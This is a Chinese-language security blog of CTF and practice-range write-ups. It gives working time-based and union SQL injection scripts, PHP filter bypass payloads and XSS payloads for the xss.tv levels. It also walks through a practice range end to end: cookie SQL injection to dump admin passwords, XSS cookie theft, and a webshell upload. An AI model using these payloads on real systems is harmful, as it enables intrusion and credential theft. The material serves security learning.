Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

solve me 后续

I am slowly


题目和之前的一题一样,是一道注入题。分析题目大致流程是这样:
当我们输入answer时,首先判断数据库是否有表,如果没有的话就会创建一个新的表,有的话会从表中进行语句的查询。如果count等于12,那么就会销毁表中的数据。接着判断语句查询回显是否为answer,如果不为,那么count数+1。
大致流程是这样,不过有个很明显的缺陷就是count === 12一般来说这里完全可以使用>= 12来阻止盲注,这里却是使用===来进行阻止。这里就可以卡着11这个节点让count连续加上两次。我们在连续访问第十一次之后,创建一个sleep(50)的请求,再快速访问一次,快速访问过后count为12,但是之前sleep(50)已经过了count的比较,等sleep(50)回应过后,count就变成了13,接着就能无限次的时间盲注访问了。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
header = {}#这里是你绕过12次后的header值
flag = ""
for i in range(1,1000):
for j in "abcdefghijklmnopqrstuvwxyz1234567890{}_":
url = "http://iamslowly.thinkout.rf.gd/?answer=' or case when(answer like '%s%%') sleep(30) else sleep(0) end --+"%(flag+j)
try:
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10]
except:
flag += j
print flag
break

Cheap lottery

这是一道很好的题目,相比之下我宁愿做一道难题也不愿做十道简单的题目,而且最近有些浮躁,一些基础原理回过头没能理会真正的意思。
打开题目是一个购买类似彩票的网站,然后题目要求我们通过购买五个数字,全部正确才能得到flag,按照常理来说,这种概率是很小很小的,所以肯定有其他的方式来获得flag。
一如既往的先去robots.txt看看,发现有个backup,里面有一个sql文件,给我们提示了lottery表的构造,然后就是源码了,废话不多说开始审计,主要梳理一下流程。

这里值得注意的是name的参数是通过guest_加上我们ip地址,这是为了识别我们购买彩票的用户,而且限定了一个IP只能购买一次彩票,有效的阻止了通过爆破来获取flag。然后判断我们是否选择了五个数字,未选满则会让我们选满五个才能进入下一步的操作。

在通过判断一分钟之内我们没买过彩票之后进入这个语句,服务器通过识别用户ip,创建一个名为admin_ip的用户数据,把自己随机生成的五个数一同插入数据库,接着从url中把字母,=,以及[]全部过滤为空,然后把&所连接的几个参数转变为数组的形式。

通过判断间隔时间是否超过一分钟,如果未超时,那么开始从数据库中查找guest_ip以及admin_ip的数据,比对两者的数字是否一致,只有两者五个数字完全一致才能得到flag。
整体看了看流程,能出现的漏洞只有可能是注入以及逻辑漏洞,但是分析流程发现逻辑漏洞存在的可能并不高,数据对接找不到可以利用的点,所以只能是sql注入了,而且在backup中还提示了lottery表的基本构造,所以可以敲定是sql注入,可是注入点在哪里呢?在传参的过程中只有一个是用户可控输入的,那就是lottery,也只能从这里下手,但是服务器在处理参数的时候把字母处理掉了,也就是说在构造guest_ip是不太可能实现的,这该怎么办呢?

利用数据库的字符集转换!!!!!!!!
参考了大师傅的分析文章,发现:

1
2
3
4
5
6
7
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results。

这题目的转换就是从utf8->utf8->utf8,但是发现好像并没有什么作用,在utf8中我们找不到能替代字母的字符,那也只能继续找能代替字母的字符,参考了离别歌师傅的文章,找到了关键的突破口:utf8和默认collation字符顺序下不同编码字符被认为相等的特性,也就是说我们可以使用à来替代a。在mysql的官方文档中说明了这一点:

接着梳理character set与collation的关系:

1
2
3
mysql 有两个支持 unicode 的 character set:  
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。

接着本地测试:

发现collation默认的是utf8_general_ci,在此规则下大小写是不敏感的,所以也可以解释为什么admin=AdMin,继续深入。
unicode比对字符串默认顺序如下:

1
2
3
1.alphabetic ordering
2.diacritic ordering
3.case ordering.

在2的变音排序时,导致了上述的*A 和 Â 是一个字母。所以到此为止,结合以上的几个原理,有大师傅通过这些原理测试出了一张比对表,参考如下:
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
根据比对的结果可以得出:

1
2
admin:%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84
guest:%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5

构造payload:

1
2
3
4
5
6
<?php
$ip = "149.28.21.208";
$time = time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery[A]=1'),('%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84_$ip','$time','1,2,3,4,5'),('%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5_$ip','$time','1,2,3,4,5')%23&lottery[B]=&lottery[C]=&lottery[D]=&lottery[E]=";
echo $url;
?>

接着在服务器curl一下 http://cheaplottery.solveme.peng.kr/index.php 就行了。

Check via eval


审题,题目要求我们输入flag参数的值,不传参的话就会如图所示有一个神秘连接,其实就是返回当前时间戳的sha1值,由于第一个条件需要这个长度,那先点击进去测试长度发现为49,所以我们需要构造一个长度为49的payload。接着用正则过滤了\,(),[],’,.,flag等等要求我们输入的flag通过eval函数输出等于sha1(flag)的值。
这题目考的是一个关于eval函数的知识:


具体原理可以去看eval函数的源码,这里思路就很明确了,构造?><?=$flag;就行了但是flag被过滤了,这里既然有了eval,那么我们完全可以使用多个语句来构造:

1
2
3
<?=${$a};?>;  
$a='alag';
$a{0}='f'

接着用无关的东西填充就行了。最终payload如下:

1
http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';?><?=${$a}?>;1111111111111111

关于代码审计的一些绕过方式

前言

这段时间断断续续的在做一些题目,知识点太过杂乱,而且时间太过仓促所以没写多少博客,最近刚好在系统学习一些php代码审计的内容,因此记录一些常见的绕过方式(参考一夜飘零师傅的博客)
题目的地址如下:http://solveme.peng.kr/

warmup


按照他如何加密我们如何解密就行了。

Bad compare


题目要求我们传入一个名为answer的变量,变量要等于后面一串奇怪的字符串。
直接复制是不太可能的,这里的字符应该是不可见字符,所以我们可以直接用脚本抓取网页代码然后在对应的区域进行url编码,最后把url编码传过去。附上脚本:

1
2
3
4
5
6
7
#coding=utf-8
import requests
import urllib
url = 'http://badcompare.solveme.peng.kr/'
r = requests.get(url)
ans = urllib.quote(r.content[917:927])
print ans

Winter sleep


这里要求我们传入的time值为数字类型,并且要介于(60 60 24 30 2)和(60 60 24 30 3)之间,满足条件后,网页会把time转化为int型然后沉睡time秒后回显flag,这里肯定是不可能等两到三个月的时间来拿flag的。关键点在于is_numeric()函数,这个函数可以检测数字和数字字符串,不仅可以检测十进制,也能检测十六进制,并且科学记数法也能检测出。但是有一个细节可以注意,网页是把time转化为了int型变量,既然有了is_nemeric()函数,为什么还需要用int类型转换呢?
这里就要利用int类型转化的缺陷了,int在转换字符型时,碰到字母就会停下来,也就是说(int)0e213等于0,这个在MD5弱类型比较时有着很强的作用。结合两者,我们可以想到用科学记数法来绕过。time赋值为6e6,等待六秒就行了。

Hard login


这题目是一个陷阱,它直接给出了登入成功会跳转的地址,所以我们是没必要去登入的,成功绕过登入实在是太过困难了一点,不过值得注意的是,直接访问index.php会跳转回来,我们可以抓包拿flag。

URL filtering


读题,题目的大致意思是把url?后的字符串以&作为分隔符分开,然后以=作为分隔符,前者为key,后者为value,然后要求变量do_you_want_flag=yes,但是key和value的值不能为do_you_want_flag和yes。
这里就存在一个矛盾了,既然url不能出现do_you_want_flag和yes那么我们如何通过get的方式得到do_you_want_flag变量值为yes呢?这里题目关键在于这里:


对于不合格的url会返回false,所以我们可以构造这个函数认为不合格但是服务器可以解析的url,例如这个:

1
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

这里就可以成功绕过得到flag了。

Hash collision


这题目比较简单,sha加密弱类型比较用数组就可以轻松绕过:

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

Array2String


审题,题目要求我们不能输入username变量的值,只能通过chr(value)一个一个拼接成username变量的值,但是value不能在32-127之间,而我们的字符ascii码却在这之中,这题绕过方式很简单,关键在于chr()这个函数,chr()函数如果在处理大于256的值时,它会mod256直到参数小于256为止再进行操作,password读取/secret.passwd就能得到,所以payload如下:

1
http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd


题目的意思是让我们输入一个url参数的值,但是呢,有几点要求:
第一是不能有类似_或者|和空格之类的字符。
第二必须要有http或者https开头,并且域名为题目的域名,也就是http://givemealink.solveme.peng.kr/。
第三是需要有/plz_give_me这个路径。
现在难点有两个,第一个是在_被禁止使用的时候如何绕过检测url路径中的/plz_give_me,这个问题查阅parse_url这个函数就可以解决,在解析url时,如果碰到无效字符,例如%10,%11等,就会使用_来替代这个无效字符。
第二个问题就是如何拿到flag了,这个问题的解决方法就是用到@的黑魔法了,如果按照正常的构造:http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr/plz%10give%10me
那服务器就会去访问givemealink.solveme.peng.kr/flag这个地址,我们没办法看到flag(除非我们是这个服务器的拥有者),所以我们得让我们自己的服务器接收到这个才行。



如果我们使用了@,那么parse_url解析url时的host就是@后面的域名了,所以加上一个@再加自己服务器的ip就可以接收到flag了。

Give me a link2


题目和上一个差不多的要求,就是多了一点:host只能是localhost,127.xx.xx.xx,或者一个任意字符串加端口,也就是说这里不能使用xx.xx.xx.xx或者是xxxx.xxx的地址,满足条件后建立连接带flag访问其服务器的端口,如果访问成功则会返回Okay字样,但是如何绕过限制来使得这题目向我们服务器发生请求呢?

这里可以使用ip2long函数,这个函数会把ip转化为字符串形式,这里就可以绕过检测并且使得网页访问我们的服务器,构造?url=http://xxxxxx:xxxx/plz%10give%10me,网页直接回显了flag,要是没回显监听端口也能得到flag。

Replace filter


题目要求我们传入say变量的值,要求长度要小于20,并且只有say变量中有give_me_the_flag字符串才能得到flag,但是呢,在得到flag之前有一个替换的过程,只要匹配到带有flag的字符串就会被替换为后面一串奇怪的字符,这样一被替换那根本不可能得到flag,所以我们需要尝试绕过。
正则匹配时,.是不会匹配换行符的,在解析完换行符后不在同一行的话是匹配不到的。所以使用%0a即可绕过。
PS:这题目想到了onethink那道题目,那道题目就是通过%0a换行之后绕过了//,把shell写入了文件。

Hell JS

这题目一打开就和其他画风不太对,f12发现这是js混淆,先解密再说,脚本是从一叶飘零大佬那里借鉴来的。

解密发现了一堆可疑的数字,用脚本处理下直接出答案了。

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf-8
text = '...' #那串字符串
text = text.replace('"','')
text = text.split(',')
final = ""
for i in range(0,len(text)):
temp = ""
temp = text[i]
temp = temp.replace('+','')
temp = chr(int(temp))
final = final + temp
print final

Lax CAPTCHA


这题目我没做出来,分享一下思路吧。
题目要求我们先用generate触发生成图片码的应用,再让我们在3秒内输入验证码得到flag,人工拼手速是不行的,十五个字母太过长了。所以我想回溯到生成图片的最开始去获取answer,但是我发现一旦解码就成了乱码,无法进一步回溯,gg。
第二种思路就是用脚本识别验证码然后传参,但是这种方法目前实现太过困难了,通过像素点从数据库中一一比对这种技术我还做不到,所以gg。
第三种就是去预测生成的验证码了,mt_rand也是一个伪随机生成器,但是我预测失败,gg。

Anti SQLi


这题目就是一道注入题,给了源码而已,有点像实验吧的一些注入题。题目一开始过滤了一堆东西,与其去看正则还不如用字典扫一下,再结合来看。
首先是闭合符’被过滤了,这里可以考虑看看编码情况,如果是gbk编码可以构造出’,但是这里不存在这种方法。但是接着后看的时候发现了一点,发现转义符\并没有过滤完善,过滤\是需要四个\来完成的,所以这里可以用\闭合掉一个’造成闭合符逃逸,接着就是如何注释的问题了,上面仔细观察发现过滤了–加上后面是空格符,换行符之类的,但是忽略了一个不可见字符,所以这里可以使用–%10来注释掉,最后一个问题就是需要查询出31337这个数据,要知道如果使用SELECT * FROM antisqli WHERE id=’{$id}’ AND pw=md5(‘{$pw}’)这个查询语句是查不出的,这里就必须要用到联合查询语句,但是order by和union select 被过滤了,order by倒是可以使用一个一个猜测来完成,但是union select要怎么办呢?可以在中间加个all,只是这个整体被过滤我们只要改变这个就行了,payload如下:

1
?id=\&pw=union all select 1,1,1 from antisqli --%10

回显hello,1
所以把1都改为31337就行了

Name check


先看得到flag的条件,需要row[0],row[1],row[2],row[3]四个相加等于4,也就是说他们四个要为true才行。那接着分析四个语句。
第一个条件要求字符串开头要为a。
第二个条件要求d字符不能在开头。
第三个条件要求字符要为a_m__的格式。
第四个条件字符后两位为in。
结合起来看就是要求name为admin,但是题目会过滤admin以及一些连接符,这里值得注意的是sqlite不像mysql一样使用+来进行连接,而是使用||,所以使用ad’||’min即可绕过。

Super secure hash


这题目没做出来,最后只得到crc32加密后的密码:

这题目思路很明确了,就是通过爆破去找到这个加密前的密码。在比较密码的时候清一色都是使用强类型比较根本不可能使用布尔值来绕过,所以只能去找密码,但是crc32在6位以上的密码又是基本不可能爆破出的,所以卡死在这了,gg。

最后几道题目知识点有点多,还是单独写比较好,毕竟太快写完有点知识不牢固。还是太懒了啊…..学习动力匮乏,希望找点一点积极的东西来促进学习吧。

近期比赛学习到的一些知识

Lottery

这是QCTF的一道题目,算是比较有新意的一道题目(对我来说….)。

题目要求很简单啊,大致意思就是让你买7个数字,中了大概一千万就能买到flag了。
一开始先扫一发目录,果然发现了有.git源码泄露。先把源码下下来吧。

打开源码进行分析。
关于大致流程是这样的,首先要求我们登入,只需要输入一个用户名,网页自动生成一个账户,其实这里账户是什么都无所谓,根本不会写入数据库进行交互,无论哪个账户的初始金额都只有20美元,这里就有两个思路了。
我第一个想法就是看看在数据交互的时候能否更改我账户的金额,翻了翻源码发现这个不同一般网页,这个网页应用了Ajax技术,金额是在前端进行交互,没办法去抓包更改(可能是我技术太垃圾了)。所以思来想去,pass了这个思路。
第二个想法呢,是经过大师傅的指导才有的思路。这个题目既然说了买彩票,那么题目的做法一定和彩票有联系,不会无缘无故的设计一个博彩系统来迷惑我们,所以呢,我们需要搏一搏。
单纯的去买一堆彩票能中上千万是不现实的,所以肯定需要一些特殊的办法来发家致富。因此要关注这是如何验证彩票中奖情况的,所以重点锁定在了api.php里面的函数。

这里可以看出彩票的数字生成是实实在在不可预测的,这个根据实时内存生成的函数基本无法预测。所以只有从如何比较的方向入手了。

验证时分别获取我们输入的数字以及随机生成数字进行比较,本题关键就是在这,这里并没有用强类型比较,而是用了弱类型比较。在弱类型比较里面,非零数在与true比较时是返回true的,所以到这里思路就很明确了,只要在我们提交购买彩票时把我们数据改成7个true就行了,但是在做题目的时候发现了一个问题,json数据怎么改。经过post,用py发包无果后才发现,这用burp就可以了啊。。。。。。

把数字改成true就行了,记得在读取数据的时候是以数组的形式,记得把numbers改为数组形式,要不然会以字符串形式读取字符,这就无法匹配了。
PS:布尔型变量在很多验证都能起到绕过匹配的作用,多加以应用。

Confusion1

SSTI-模板注入

这也是根据一道题目所学来的知识点,虽然没有做出来,但是这里还是值得记录一下。题目解析就不写了,只是写写一些要点。
对于我来说,目前接触到了很多由于攻击者进行恶意输入导致网页信息泄露,被攻击者获取权限的注入手段。比如最常见的sql注入,xss,代码注入,以及命令注入等。SSTI–服务端模板注入还是第一次接触。
SSTI注入主要发生在用户请求的地方,这个和xss有点相似,网页把用户查询的信息未经过严格的处理直接回显到了页面,根据不同的服务端模板,如果我们调用模板中的函数,就能在特定情况下利用其读取文件或者写入shell等操作。
具体详细可以参考这一篇文章:http://www.freebuf.com/vuls/83999.html。

flask模板中request

这道题目就是使用python的flask模板,在flask中前端需要发送不同的请求及各种带参数的方式,比如GET方法在URL后面带参数和POST在BODY带参数,有时候又是POST的表单提交方式,这个时候就需要从request提取参数。
下面是request可使用的属性,主要归纳一些常用的。
form:一个从POST和PUT请求解析的 MultiDict(一键多值字典)。
args:MultiDict,要操作 URL (如 ?key=value )中提交的参数可以使用 args 属性:

1
request.arg.key?key=value

values:CombinedMultiDict,内容是form和args。可以使用values替代form和args。
headers:请求头,字典类型。
data:包含了请求的数据,并转换为字符串,除非是一个Flask无法处理的mimetype。
method:请求方法,比如POST、GET。
PS:在过滤了某些关键词时可以使用args属性绕过。
通过调用py类中函数对于的索引来读取或者写入文件

order by注入

只能说自己实力还是太弱了吧,碰到sql注入题目都要花很久才能做出来。这一次是一道关于order by注入的一道题目,题目提示了select flag from flag,只要爆破出字段就行了。
题目有提供id,name,price三个排序方式,对于mysql来说,排序方式转化为二进制,那么在使用id排序时,id=1对应的就是0001,id=2对于的就是0010,而假对应的是0000,也就是说不改变排序方式,而真对应的是0001,在与2位异或时,2变成了0011,3却变成了0001,所以这里我们可以使用位异或结合布尔型来更改排序方式。
贴下我的垃圾脚本吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
import requests
list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_abcdefghijklmnopqrstuvwxyz0123456789"
r1 = ""
text = ""
flag = ""
for i in range(1,27):
for j in list:
url = "http://101.71.29.5:10004/?order=id^(substr((select flag from flag),%d,1)='%s') &button=submit"%(i,j)
r1 = requests.get(url)
text = r1.content
if text[949] == '3':
print j
flag = flag + j
break
print flag

记一次靶场的渗透实战

写在前面

之前几天在学linux以及docker的一些基本操作,昨天打一次ctf比赛发现自己水平还是那么菜,好在郁离歌师傅一句”太急了”点醒了我。然后之前靠着一手py搞到了一个靶场,现在刚刚好用到练练手。这一次的题目就是从这里面来的。

注入拿密码

初步观察

打开网站,发现信息量挺多的,不过不急慢慢找突破点。
点开首页,然后在接着点开其他链接发现这是一个asp动态网页。


既然这题目要我们通过注入,那就关注与数据库交互方面的内容。

找到注入点

在新闻界面发现了有与数据库交互的内容,一个查询界面通过id号来查询新闻内容。

这里我稍微尝试了一下,试着测试了一下,在get传参的时候有waf拦截了一些关键词查询,这里有两种思路可以选择,第一是通过一些技巧来绕过过滤,不过我在测试的时候发现了一个问题,这里连‘’都过滤了,其他可用函数也无法构造完整语句来查询。所以基本可以考虑第二种方式,去找其他注入点,凡是与数据库交互的都是可以注入的。
这里我抓了个包,方便我们找出其他交互的点。

抓包之后发现了还有一个cookie可以进行交互,这里可以尝试一下。
PS:其实这里我也没想到能这样,源码是通过request来获取id参数值,asp也一般都是通过request来传参,所以我们可以通过cookie来给id进行赋值,而cookie一般是很少过滤的。

开始注入

通过cookies managers+插件改cookie直接访问http://120.203.13.111:8001/shownews.asp,而不通过get的方式来进行传参。测试是什么类型的注入。值得注意的是,我在测试的时候发现cookie里面的+是被替换为了空格,所以在输入的时候要注意一下。
输入id=172-1的时候发现,它跳到了171的界面,那这个是数字型注入没得跑了。

1
2
id=171 order by 10 回显正常
id=171 order by 11 回显不正常

接着判断回显位数,不过这里需要猜列名,一般的话会有什么admin,admins,user等等,可以试着猜解一下。

1
id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

这里显示出了回显位。

接着爆出username,password。

1
id=171 union select 1,username,password,4,5,6,7,8,9,10 from admin

找后台

现在用户名和密码到手,可以试着去找后台进行登入了。
尝试了一下发现后台为120.203.13.111:8001/admin/,然后输入密码和用户就行了,密码记得解个md5。

CSRF进后台

上面这个后台一眼就能看出是假的,所以应该还有真正的后台。
用工具扫了扫,发现一堆目录。

既然admin不行,那可以试试admin123

登入进去发现不太对。具体如下:


分析一下源码可以大致理解这里需要我们更改Referer,也就是从哪里传来的数据包,所以抓包改referer。
所以访问我们所要访问的页面,然后进行抓包。

修改http头,注意端口要一致,否则会出现无法响应的情况。

PS:还有一种方法是通过构造本地的链接去访问http://127.0.0.1/admin123/sysadmin_view.asp

XSS拿cookies

在测试的时候,我们在找注入点的时候发现了还有一个留言板的页面。

这里可以实验一下我们之前在xss挑战赛练习的骚操作。
测试的时候发现这里没有过滤任何东西,所以不用考虑绕过的一些技巧。
管理员会定时的来查看留言,那么我们只要构造一个导向链接把管理员的cookies导入到我们的接收平台就行了,这里就用网上提供的xss接收平台吧。
一键生成Payload,虽然自己也不太会写这些代码。不过能用就行了。

直接把payload丢到留言区等管理员查看就好。

cookie值到手。

传马拿shell

接下来就是找上传文件的地方了。这个ip不仅仅提供了8001端口,还提供了8002端口,8001两个后台都去过了所以接着去8002的后台看看。登入网址为:http://120.203.13.111:8002/admin/login.asp
修改cookie就能进后台了。

找到上传文件的地方。

制作图片马。

菜刀连接的时候发现并不能成功连接,错误提示了IIS6.0无法解析,具体原因我百度了一番。不成功是因为图片马无法被解析
IIS6.0是可以使用;,我又试着写了一个1.asp;1.jpg的小马上传,但是被检测出了无法上传。这里会检测是否是真的图片。百度的时候还发现了一个IIS6.0的解析缺陷,也就是类似cer,asa,cdx是被忽略没被过滤的,那我们可以试试把图片马后缀名改为cer试试。

成功连接,找敏感文件就行了,这里直接找到flag.txt文件。

提权

提权后续就不写了,对应的exp百度自行即可,说到底我自己也不会只是单纯的利用人家的工具而已,所以提权就不再往下写了。

写在后面

这算是一次完整的流程吧,经过这一次半实战的演练可以尝试去拿一些其他的站点了。
持之以恒!!

xss挑战赛的Payload(下)

level 11


这题目和第十题很类似,而且t_ref的内容竟然时第十题的payload,仔细想想,我们就是通过构造这个才跳转到的第十一题,而且ref立马就能想到referer这个,所以抓包更改referer属性然后点击就行了

1
referer: " type="button" onclick="alert(1)

level 12


这题目的注入点在http头的浏览器模式下,抓包改浏览器格式和上一题一样。

level 13

这题目和上面题目类似就是把cookies里面user的内容改了就行了。

level 14

这题目没搞懂要做什么,查了wp说是这题目貌似有问题,所以暂且跳过。

level 15

加载起来特别慢,也没搞懂是网络问题还是这个页面本身就这样。

根据提示这里需要用到AngularJS,听大黄说这是js的一个框架,有着特定的语法,基本的js语法也能够适用,但是需要遵守一定规则。具体用法和规则如下:

这里查阅了大手子的资料发现对外部html还有特殊的要求:

所以大致结合起来看,我们可以通过访问ng-include来执行我们的外部文件,所以可以考虑通过level1作为跳板来实现,由于script的标签没办法使用只能用事件来触发xss

1
src='level1.php?name=<img src=s onerror=alert(1)>'

level 16

这题目依旧是通过get型的方式来赋值,测试发现script关键词被过滤了,然后带有<>的标签必然在后面会跟着闭合标签</>,而且空格被过滤了,我们可以这样构造:

1
<form><input%0Atype="button"%0Aonclick="alert(1)">

由于第一个标签网页自动跟上了一个结束的标签,中间我们直接构造了一个按钮点击即可触发onclick事件。最终源码被解析成了这样。

level 17

刚刚进入题目就发现了两个可疑的参数,具体如下:

翻了翻源码发现它对应的是这个:

接着测试的时候发现了一个问题就是无论怎么输入<>这两个都是没办法绕过过滤的,那只能通过直接在这里面构造事件来达到弹窗的目的,onclick一旦点击就跳转了,所以只能用一些只在当前页面触发的事件,比如onmouseover,onfocus,不过在测试时还发现了一点就是在参数后面加空格,才能把事件独立出来解析,所以payload:

1
arg01=123&arg02= onfocus=alert(1)

点一下松开就行了。
ps:弹窗了不会跳转,需要点击下面的那个链接

level 18

emmmmmmm…………
这题目和17一样啊,没搞懂什么意思。

level 19 && level 20

完全没头绪。。。。
真的做不出啊。。。。
之后学学js再回来做这道题目。

写在最后

之后xss题目还是会接着做,接下来要学学其他东西了。。。。还是太垃圾了。。

xss挑战赛的Payload(上)

写在前面

日常开头,塔主在之前弄了一个XSS的专题,里面大致介绍了XSS攻击的一些要领以及给了我们一个XSS接收平台。,为了练习呢,有人推荐了这个xss.tv,里面有共计20道题目,所以我打算归纳一下Payload,随便总结一下bypass的思路。

level 1


打开XSS挑战赛的地址,发现第一题很明显是Get型的传参方式。试试最为基础的,也是作为测试的Payload。

1
<script>alert(1)</script>

很容易过关跳转到第二关。

level 2

审查元素

发现输入的字符被嵌入进了value=””,可以考虑闭合构造弹出提示框,然后注释掉后面的内容。

1
"><script>alert(1)</script> //

level 3

测试一下发现在文本框输入是无法回显的,审查元素发现如下。

针对这个为啥输入了一个’,源码就变成这样我还特地问了问前端狗大黄,这可能是浏览器的问题。我特地试试了几个不同的浏览器,发现输入相同,但是网站的源码并不一致,所以为了学好XSS,我就一直用一个特定的浏览器firefox。
接着测试一下’a’b确定输入的内容如何嵌入网站源码。

那就照猫画虎构造Payload

1
'onclick=alert(1)>'

源码就变为了

1
<input onclick="alert(1)>''"

这里由于浏览器解析问题这一段就直接解析成了一个事件,点击一下文本框就弹窗了。
PS:具体原理我也搞不懂是为啥,问了前端狗也无果

level 4

这一题和上一题类似,就是把换成了,试着输入Payload。

发现回显出现了一个问题就是>被吞了,既然这样我们可以试试实体编码&gt来绕过。
点击文本框即可弹窗。

level 5

这题目多了一个难点就是on被强制转化为了o_n,就说明某些事件标签就不可以用了,但是可以换一个思路来构造xss的Payload,既然on不能用了,那我们试试a,href标签,构造

1
"><a href="javascript:alert(1)">clickme<"


发现a标签被解析了,只要点击后面的clickme就能执行javascript伪协议后面的内容。

level 6

这一关相比较第五关就是过滤了href,目前过滤了on,script,href这三个关键词,我们可以尝试使用大小写来进行绕过。

1
"><sCript>alert(1)</sCript><"

level 7

这题目初步测试发现关键词on,script,src,href等关键词都被过滤了,无法回显我们输入的关键词,那么可以试试双写来绕过。

1
"><scrscriptipt>alert(1)</scrscriptipt><"

level 8

这一题过滤了很多东西,大写被自动转义成了小写,一些关键词中间都被强加了_,我们可以推测前端获取了信息返回给后端,后端是经过了一定处理的,所以呢,我们只要避开后端的检测就行了,这里可以使用实体编码来绕过,因为在后端是无法解析实体编码的,只有在前端页面才能进行解析,所以我们可以用实体编码来构造payload。
解决这个问题,再次观察题目发现我们输入的payload会被网页添加到a href标签中,所以我们最后的payload为

1
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

level 9

说实话一开始我毫无头绪,测试了很多发现都无法改变友链的内容,知道看到解析才知道,原来合法链接的意思是要加上http://,这样就好构造了,把后面的http://注释掉就行了,payload如下:

1
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://

level 10

点进去发现什么都没给,但查看源码发现

输入框被隐藏了,所以可以直接通过get把参数传过去,不过在测试的时候发现只有t_sort这个参数传过去才能更改源码。
不过测试发现<>这个标签被过滤了,并且我在尝试使用&lt,&gt绕过时发现,不仅左右括号被吞了,连内容也被吞了,不过好在on有用,构造如下:

1
http://daka.whaledu.com/xss/level10.php?t_sort=" type="button" onclick="alert(1)

最终的解析为

写在最后

由于考试周加上一些烦躁的事情要处理,博客没来得及更新,接下来博客会很勤的写。

关于xss的一些学习心得

前言

按照惯例,开头还是逼逼几句,本来这一篇我昨天就写好了,可是处理的时候不小心删了,所以就只能重新写一篇了,关于xss呢,很早之前就接触过但是一直没系统的学,只是为了做xss的题目而做题目所以这一次系统的归纳一下,也算是个备忘录吧。

何为XSS

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。(摘自百度百科)
以上的说明呢,是官方的。不过根据我的理解来说,XSS攻击是攻击者把构造的恶意代码插入到网页源码中,通过跳转,执行事件等方式来达到获取信息,执行恶意代码等目的。

XSS攻击的分类

一般来说XSS攻击分为三种。
第一种是反射型XSS,反射性XSS只是简单地把用户输入的数据”反射”给浏览器,也就是说攻击者必须让攻击点击所构造的恶意链接才能给攻击者反馈消息或者执行非本人意愿的命令。这一种反馈是即时性的,也是一次性的,也就是即输即用,也叫做”非持久型XSS”
第二种是储存型XSS,储存型XSS会把攻击者所构造的恶意代码储存到后端的数据库中,只要有用户一旦浏览到恶意代码的页面便会执行攻击的代码,被窃取登入验证等信息,攻击者便可以假冒”代表”用户进行操作。
第三种是基于Dom的XSS,这一种XSS攻击和反射型差不多,也算是反射型的一种,这种类型的攻击一般是攻击者构造一些事件,或者调用js里面一些函数来实现的,所以具体来说这种和第一种区分不算太大。

XSS一些Payload

其实来说呢,xss的payload也不是类似sql注入一样固定的,xss的payload一般来说是变化多样,根据其html的代码来进行构造的。
这是最为基础,也是常用于测试的代码

1
2
3
4
<script>alert(1)</script>
```
这里面包含了标签,也包含了alert()函数,一般来说是可以测试出一些东西的。
还有例如这种的payload


1
2
这种是通过构造一个错误,触发onerror事件弹出alert(1)。   
还有类似这种


`
这种就是通过点击恶意链接,然后用户的信息就被窃取了。
以上只是几种简单的Payload,其余的类型实在是太过复杂了,多做题目才能有更多的经验

绕过技巧

这个就大致说一下吧,之后会在练习中讲解一些的。主要分为以下几种。
1 编码绕过根据网页过滤的代码,以及代码执行的环境进行合适的编码转化,例如他在后台过滤<>这个东西,那我们可以通过%3c%3e来绕过,也可以\0x3c来绕过。
2 字符限制一般网页会限制输入的长度,我们可以进行简化代码,也可以直接更改源码中的maxlength要素来修改字符长度上限。
3 使用标签灵活使用标签也是可以达到同样的效果的。
一些其他的方式也是需要在实战中进行磨练出来的,之后会写一篇XSS练习平台的wp,详细说一些思路。

ISCCC Web的一些wp

写在前面

这是我第一次写wp,因为这次比赛挺简单的,我做的题目挺多的所以才写的这篇wp,像之前的那些偶尔爆零的比赛写出来丢人(这次写出来也挺丢人的),web400之后总结再写,web300的注入真心不会。。

比较数字大小

发现有个输入框,f12查看源码发现要求输入的数字大于某个数,然而输入框限制了输入的长度,把maxlength改为999然后乱按一通就过了。

Web01

1
2
3
4
5
6
7
8
9
highlight_file('2.php'); 
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

